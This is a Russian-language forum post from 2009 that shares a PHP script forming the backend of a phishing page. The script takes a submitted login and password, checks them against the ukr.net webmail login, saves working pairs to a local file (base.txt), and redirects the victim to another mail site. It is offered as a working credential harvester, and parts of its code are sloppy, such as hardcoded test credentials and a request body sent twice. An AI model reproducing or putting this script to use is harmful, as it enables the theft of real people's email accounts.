Показать сообщение отдельно

  #4  
Старый 23.07.2009, 16:55
sNt
Участник форума
Регистрация: 30.07.2008
Сообщений: 152
С нами: 9358231

Репутация: 34
По умолчанию

Сам скрипт отправки:
PHP код:
<?php

$login 
= $_POST['login'];
$pass = $_POST['password'];
$domain = $_POST['domainname'];

$login = 'helloworld';
$pass = '123456';

$fp = fsockopen('freemail.ukr.net', 80, $errno, $errstr, 30); 

if (!
$fp) die('<p>'.$errstr.' ('.$errno.')</p>'); 

$data = "backURL=http%3A%2F%2Fwww.ukr.net%2F&Challenge=17b4577ec6c587490be96663f27bc9fb&Submit=Submit&Login=$login&Password=$pass&submit=%D0%92%D0%BE%D0%B9%D1%82%D0%B8"; 
$headers  = "POST /q/splash HTTP/1.1\n"; // отвечает за тип протокола!  
$headers .= "Host: freemail.ukr.net\n"; 
$headers .= "Connection: close\n";
$headers .= "User-Agent: Mozilla/4.0 (compatible; MSIE 8; Windows 5.1)\r\n";
$headers .= "Content-Type: application/x-www-form-urlencoded\r\n";  
$headers .= "Content-Length: ".strlen($data)."\r\n\r\n".$data; 

fwrite($fp, $headers.$data); 

while ( !
feof($fp) ) $line .= fgets($fp, 1024);

fclose($fp);

$auth=0;

$text="EPOSTMAILSESSIONID";
if(
preg_match("/$text/i", "$line")) {$auth=1;} else {$auth=0;}
echo 
$line;
if(
$auth==1) 
{
$file=fopen("base.txt", "a");
fwrite($file, "$login@$domain:$pass\r\n");
fclose($file); { header("location: http://mail.km.ru/folders/folders.htm");} }else { header("location: index.php"); }

?>
Скрипт выведет ответ от сервера. Там все видно
 
Ответить с цитированием